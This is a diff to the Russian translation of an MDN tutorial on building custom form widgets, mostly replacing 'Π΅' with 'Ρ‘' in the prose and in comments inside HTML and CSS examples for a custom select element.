href="https://ru.wikipedia.org/wiki/%D0%AE%D0%B7%D0%B0%D0%B1%D0%B8%D0%BB%D0%B8%D1%82%D0%B8-%D1%82%D0%B5%D1%81%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5">Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ тСсты</a>. Π­Ρ‚ΠΎΡ‚ процСсс называСтся UX Design (<a href="https://ru.wikipedia.org/wiki/%D0%94%D0%B8%D0%B7%D0%B0%D0%B9%D0%BD_%D0%B2%D0%B7%D0%B0%D0%B8%D0%BC%D0%BE%D0%B4%D0%B5%D0%B9%D1%81%D1%82%D0%B2%D0%B8%D1%8F_%D1%81_%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D0%B5%D0%BC">Π”ΠΈΠ·Π°ΠΉΠ½ взаимодСйствия с ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ</a>). Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡƒΠ·Π½Π°Ρ‚ΡŒ большС ΠΎΠ± этой Ρ‚Π΅ΠΌΠ΅, Π²Π°ΠΌ слСдуСт ΠΏΠΎΡΠ΅Ρ‚ΠΈΡ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ полСзныС рСсурсы:</p>
+<p>Π’ нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΏΡ€ΠΎΠΏΡƒΡ‰Π΅Π½Π½Ρ‹Π΅ спСцификации ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½Ρ‹, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ с Π½ΠΈΠΌΠΈ справимся, Π½ΠΎ это ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡ‚Π°Ρ‚ΡŒ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΉ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ для Π½ΠΎΠ²Ρ‹Ρ… экзотичСских видТСтов, ΠΊΠΎΠ³Π΄Π° Π½ΠΈΠΊΡ‚ΠΎ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π½ΠΈ малСйшСго прСдставлСния ΠΎ Ρ‚ΠΎΠΌ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ€Π΅Π°Π³ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ. ВсСгда Π»ΡƒΡ‡ΡˆΠ΅ ΠΏΠΎΡ‚Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ врСмя Π½Π° этом этапС Π΄ΠΈΠ·Π°ΠΉΠ½Π°, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Ссли Π²Ρ‹ ΠΏΠ»ΠΎΡ…ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚Π΅,Β ΠΈΠ»ΠΈΒ Π·Π°Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Ρ€Π΅Π°ΠΊΡ†ΠΈΡŽ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π°, Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‡Π΅Π½ΡŒ слоТно ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Π΅Ρ‘, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΡƒΠΆΠ΅ ΠΏΡ€ΠΈΠ²Ρ‹ΠΊΠ½ΡƒΡ‚. Если Ρƒ вас Π΅ΡΡ‚ΡŒ сомнСния - спроситС мнСния Ρƒ ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰ΠΈΡ…, ΠΈ, Ссли позволяСт Π±ΡŽΠ΄ΠΆΠ΅Ρ‚,Β Β Π½Π΅ ΡΡ‚Π΅ΡΠ½ΡΠΉΡ‚Π΅ΡΡŒ <a href="https://ru.wikipedia.org/wiki/%D0%AE%D0%B7%D0%B0%D0%B1%D0%B8%D0%BB%D0%B8%D1%82%D0%B8-%D1%82%D0%B5%D1%81%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5">Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ тСсты</a>. Π­Ρ‚ΠΎΡ‚ процСсс называСтся UX Design (<a href="https://ru.wikipedia.org/wiki/%D0%94%D0%B8%D0%B7%D0%B0%D0%B9%D0%BD_%D0%B2%D0%B7%D0%B0%D0%B8%D0%BC%D0%BE%D0%B4%D0%B5%D0%B9%D1%81%D1%82%D0%B2%D0%B8%D1%8F_%D1%81_%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D0%B5%D0%BC">Π”ΠΈΠ·Π°ΠΉΠ½ взаимодСйствия с ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ</a>). Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡƒΠ·Π½Π°Ρ‚ΡŒ большС ΠΎΠ± этой Ρ‚Π΅ΠΌΠ΅, Π²Π°ΠΌ слСдуСт ΠΏΠΎΡΠ΅Ρ‚ΠΈΡ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ полСзныС рСсурсы:</p>
<ul>
<li><a href="http://www.uxmatters.com/" rel="external" title="http://www.uxmatters.com/">UXMatters.com</a></li>
@@ -99,7 +99,7 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets
<h3 id="ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅_структуры_ΠΈ_сСмантики_HTML">ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ структуры ΠΈ сСмантики HTML</h3>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ,Β ΠΊΠΎΠ³Π΄Π° основной Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π» Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½, ΠΏΠΎΡ€Π° Π½Π°Ρ‡Π°Ρ‚ΡŒ созданиС Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π°. ΠŸΠ΅Ρ€Π²Ρ‹ΠΌ Π΄Π΅Π»ΠΎΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠΌ Π΅Π³ΠΎ HTML структуру ΠΈ ΠΏΡ€ΠΈΠ΄Π°Π΄ΠΈΠΌ ΠΎΡΠ½ΠΎΠ²Π½ΡƒΡŽ сСмантику. Π’ΠΎΡ‚ всС Ρ‡Ρ‚ΠΎ Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π΅Π»Π°Ρ‚ΡŒ элСмСнт {{HTMLElement("select")}}:</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ,Β ΠΊΠΎΠ³Π΄Π° основной Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π» Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½, ΠΏΠΎΡ€Π° Π½Π°Ρ‡Π°Ρ‚ΡŒ созданиС Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π°. ΠŸΠ΅Ρ€Π²Ρ‹ΠΌ Π΄Π΅Π»ΠΎΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠΌ Π΅Π³ΠΎ HTML структуру ΠΈ ΠΏΡ€ΠΈΠ΄Π°Π΄ΠΈΠΌ ΠΎΡΠ½ΠΎΠ²Π½ΡƒΡŽ сСмантику. Π’ΠΎΡ‚ всС Ρ‡Ρ‚ΠΎ Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π΅Π»Π°Ρ‚ΡŒ элСмСнт {{HTMLElement("select")}}:</p>
<pre class="brush: html">&lt;!-- Π­Ρ‚ΠΎ основной ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ для нашСго Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π°.
Атрибут tabindex позволяСт ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ фокус Π½Π° Π²ΠΈΠ΄ΠΆΠ΅Ρ‚.
@@ -123,7 +123,7 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets
&lt;/div&gt;</pre>
-<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° использованиС ΠΈΠΌΠ΅Π½ классов:Β ΠΎΠ½ΠΈ ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉΒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉΒ ΡΠ»Π΅ΠΌΠ΅Π½Ρ‚ нСзависимо ΠΎΡ‚ Ρ„Π°ΠΊΡ‚ΠΈΡ‡Π΅ΡΠΊΠΈΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… Π±Π°Π·ΠΎΠ²Ρ‹Ρ… элСмСнтов HTML. Π’Π°ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ²Π΅Ρ€Π΅Π½Π½Ρ‹ΠΌΠΈ Ρ‡Ρ‚ΠΎ Π½Π°ΠΌ Π½Π΅ придСтся ТСстко ΠΏΡ€ΠΈΠ²ΡΠ·Ρ‹Π²Π°Ρ‚ΡŒ наши CSS ΠΈΒ JavaScript ΠΊΒ HTML структурС,Ρ‚ΠΎΠ³Π΄Π° ΠΌΡ‹ смоТСм ΠΏΠΎΠ·ΠΆΠ΅ Π²Π½ΠΎΡΠΈΡ‚ΡŒ измСнСния Π½Π΅ Π½Π°Ρ€ΡƒΡˆΠ°Ρ ΠΊΠΎΠ΄Β Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π°. НапримСр, Ссли Π²Ρ‹ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ эквивалСнт элСмСнта {{HTMLElement("optgroup")}}.</p>
+<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° использованиС ΠΈΠΌΡ‘Π½ классов:Β ΠΎΠ½ΠΈ ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉΒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉΒ ΡΠ»Π΅ΠΌΠ΅Π½Ρ‚ нСзависимо ΠΎΡ‚ Ρ„Π°ΠΊΡ‚ΠΈΡ‡Π΅ΡΠΊΠΈΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… Π±Π°Π·ΠΎΠ²Ρ‹Ρ… элСмСнтов HTML. Π’Π°ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ²Π΅Ρ€Π΅Π½Π½Ρ‹ΠΌΠΈ Ρ‡Ρ‚ΠΎ Π½Π°ΠΌ Π½Π΅ придётся Тёстко ΠΏΡ€ΠΈΠ²ΡΠ·Ρ‹Π²Π°Ρ‚ΡŒ наши CSS ΠΈΒ JavaScript ΠΊΒ HTML структурС,Ρ‚ΠΎΠ³Π΄Π° ΠΌΡ‹ смоТСм ΠΏΠΎΠ·ΠΆΠ΅ Π²Π½ΠΎΡΠΈΡ‚ΡŒ измСнСния Π½Π΅ Π½Π°Ρ€ΡƒΡˆΠ°Ρ ΠΊΠΎΠ΄Β Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π°. НапримСр, Ссли Π²Ρ‹ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ эквивалСнт элСмСнта {{HTMLElement("optgroup")}}.</p>
<h3 id="Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_внСшнСго_Π²ΠΈΠ΄Π°_с_ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ_CSS">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ внСшнСго Π²ΠΈΠ΄Π° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS</h3>
@@ -131,7 +131,7 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets
<h4 id="ΠžΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅_стили">ΠžΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅Β ΡΡ‚ΠΈΠ»ΠΈ</h4>
-<p>ΠžΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ стили - это Ρ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Ρ‚Ρ€Π΅Ρ… состояний нашСго Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π°..</p>
+<p>ΠžΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ стили - это Ρ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Ρ‚Ρ€Ρ‘Ρ… состояний нашСго Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π°..</p>
<pre class="brush: css">.select {
/* Π­Ρ‚ΠΎ создаст контСкст позиционирования для списка Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² */
@@ -142,7 +142,7 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets
display : inline-block;
}</pre>
-<p>Π•Ρ‰Π΅ Π½Π°ΠΌ Π½ΡƒΠΆΠ΅Π½ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ класс <code>active,</code> Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ, ΠΊΠ°ΠΊ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ наш Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ Π² Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΌ состоянии.Β Π’Π°ΠΊ ΠΊΠ°ΠΊ наш Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ находится Π² фокусС, Ρ‚ΠΎ ΠΌΡ‹ ΡƒΠΊΠ°ΠΆΠ΅ΠΌ этот ΡΡ‚ΠΈΠ»ΡŒ Π΅Ρ‰Π΅ ΠΈ для псСвдокласса {{cssxref(":focus")}} Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ²Π΅Ρ€Π΅Π½Π½Ρ‹ΠΌΠΈ, Ρ‡Ρ‚ΠΎ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Β Π±ΡƒΠ΄Π΅Ρ‚ вСсти сСбя ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ.</p>
+<p>Π•Ρ‰Ρ‘ Π½Π°ΠΌ Π½ΡƒΠΆΠ΅Π½ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ класс <code>active,</code> Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ, ΠΊΠ°ΠΊ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ наш Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ Π² Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΌ состоянии.Β Π’Π°ΠΊ ΠΊΠ°ΠΊ наш Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ находится Π² фокусС, Ρ‚ΠΎ ΠΌΡ‹ ΡƒΠΊΠ°ΠΆΠ΅ΠΌ этот ΡΡ‚ΠΈΠ»ΡŒ Π΅Ρ‰Ρ‘ ΠΈ для псСвдокласса {{cssxref(":focus")}} Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ²Π΅Ρ€Π΅Π½Π½Ρ‹ΠΌΠΈ, Ρ‡Ρ‚ΠΎ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Β Π±ΡƒΠ΄Π΅Ρ‚ вСсти сСбя ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ.</p>
<pre class="brush: css">.select .active,
.select:focus {
@@ -155,7 +155,7 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets
<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π΄Π°Π²Π°ΠΉΡ‚Π΅ стилизуСм список ΠΎΠΏΡ†ΠΈΠΉ:</p>
-<pre class="brush: css">/* Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€ .select здСсь ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ для удобства (<a href="https://ru.wikipedia.org/wiki/%D0%A1%D0%B8%D0%BD%D1%82%D0%B0%D0%BA%D1%81%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D1%81%D0%B0%D1%85%D0%B0%D1%80">синтаксичСский сахар</a>), Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ²Π΅Ρ€Π΅Π½Π½Ρ‹ΠΌΠΈ,
+<pre class="brush: css">/* Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€ .select здСсь ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½ для удобства (<a href="https://ru.wikipedia.org/wiki/%D0%A1%D0%B8%D0%BD%D1%82%D0%B0%D0%BA%D1%81%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D1%81%D0%B0%D1%85%D0%B0%D1%80">синтаксичСский сахар</a>), Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ²Π΅Ρ€Π΅Π½Π½Ρ‹ΠΌΠΈ,
Β  Ρ‡Ρ‚ΠΎ опрСдСляСмыС классы находятся Π² нашСм Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π΅. */
.select .optList {
/* Π­Ρ‚ΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ Π½Π°ΠΌ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ²Π΅Ρ€Π΅Π½Π½Ρ‹ΠΌΠΈ, Ρ‡Ρ‚ΠΎ список Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΊΠ°Π·Π°Π½ Π½ΠΈΠΆΠ΅ значСния
@@ -165,11 +165,11 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets
left : 0;
}</pre>
-<p>Π•Ρ‰Π΅ Π½Π°ΠΌ Π½ΡƒΠΆΠ΅Π½ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ класс, для обращСния ΠΊ списку Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ², ΠΊΠΎΠ³Π΄Π° он скрыт. Π­Ρ‚ΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒΡΡ с различиями активного и развСрнутого состояния, Ρ‚.ΠΊ. ΠΎΠ½ΠΈ Π½Π΅ совсСм ΡΠΎΠ²ΠΏΠ°Π΄Π°ΡŽΡ‚.</p>
+<p>Π•Ρ‰Ρ‘ Π½Π°ΠΌ Π½ΡƒΠΆΠ΅Π½ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ класс, для обращСния ΠΊ списку Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ², ΠΊΠΎΠ³Π΄Π° он скрыт. Π­Ρ‚ΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒΡΡ с различиями активного и развёрнутого состояния, Ρ‚.ΠΊ. ΠΎΠ½ΠΈ Π½Π΅ совсСм ΡΠΎΠ²ΠΏΠ°Π΄Π°ΡŽΡ‚.</p>
<pre class="brush: css">.select .optList.hidden {
/* Π­Ρ‚ΠΎ самый простой ΠΈΠ· доступных способов ΠΏΡƒΡ‚ΡŒ ΡΠΊΡ€Ρ‹Ρ‚ΡŒ список,
- Π° ΠΎ доступности ΠΌΡ‹ Π΅Ρ‰Π΅ ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΠΌ Π² ΠΊΠΎΠ½Ρ†Π΅ */
+ Π° ΠΎ доступности ΠΌΡ‹ Π΅Ρ‰Ρ‘ ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΠΌ Π² ΠΊΠΎΠ½Ρ†Π΅ */
max-height: 0;
visibility: hidden;
}</pre>
@@ -181,7 +181,7 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets
<pre class="brush: css">.select {
/* ВсС Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½Ρ‹ Π² em ΠΏΠΎ сообраТСниям удобства
(Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ²Π΅Ρ€Π΅Π½Π½Ρ‹ΠΌΠΈ, Ρ‡Ρ‚ΠΎ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π±ΡƒΠ΄Π΅Ρ‚
-Β  ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡƒΠ²Π΅Π»ΠΈΡ‡Π΅Π½ΠΈΠ΅ Π² тСкстовом Ρ€Π΅ΠΆΠΈΠΌΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°). ВычислСния сдСланы ΠΈΠ· расчСта Ρ‡Ρ‚ΠΎ
+Β  ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡƒΠ²Π΅Π»ΠΈΡ‡Π΅Π½ΠΈΠ΅ Π² тСкстовом Ρ€Π΅ΠΆΠΈΠΌΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°). ВычислСния сдСланы ΠΈΠ· расчёта Ρ‡Ρ‚ΠΎ
Β  1em == 16px Ρ‡Ρ‚ΠΎ являСтся ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΠ΅ΠΌ для Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ².
Если Π²Ρ‹ Π·Π°Ρ‚Ρ€ΡƒΠ΄Π½ΡΠ΅Ρ‚Π΅ΡΡŒ с ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ px Π² em, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ http://riddle.pl/emcalc/ */
font-size : 0.625em; /* это (10px) Π½ΠΎΠ²Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΡˆΡ€ΠΈΡ„Ρ‚Π° для нашСго контСкста для значСния
@@ -200,7 +200,7 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets
box-shadow : 0 .1em .2em rgba(0,0,0,.45); /* 0 1px 2px */
/* ΠŸΠ΅Ρ€Π²ΠΎΠ΅ объявлСниС - для Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… Π»ΠΈΠ½Π΅ΠΉΠ½Ρ‹ΠΉ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚.
- Π’Ρ‚ΠΎΡ€ΠΎΠ΅ объявлСниС - ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ основанныС Π½Π° WebKit Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π΅Ρ‰Π΅ Π½Π΅ избавились ΠΎΡ‚ прСфикса Π² Π½Π΅ΠΌ.
+ Π’Ρ‚ΠΎΡ€ΠΎΠ΅ объявлСниС - ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ основанныС Π½Π° WebKit Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π΅Ρ‰Ρ‘ Π½Π΅ избавились ΠΎΡ‚ прСфикса Π² Π½Π΅ΠΌ.
Если Π²Π°ΠΌ Π½ΡƒΠΆΠ½Π° ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ http://www.colorzilla.com/gradient-editor/ */
background : #F0F0F0;
background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
@@ -263,8 +263,8 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets
min-width : 100%;
/* Π’ случаС, Ссли список слишком Π΄Π»ΠΈΠ½Π½Ρ‹ΠΉ, Π΅Π³ΠΎ содСрТимоС Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΌΠ΅Ρ‰Π°Ρ‚ΡŒΡΡ ΠΏΠΎ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΠΈ
- (Ρ‡Ρ‚ΠΎ автоматичСски Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ полосу ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ), Π½ΠΎ этого Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚ ΠΏΠΎ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΠΈ
- (ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π½Π΅ установили ΡˆΠΈΡ€ΠΈΠ½Ρƒ ΠΈ содСрТимоС списка Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π΅Π³ΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π΅
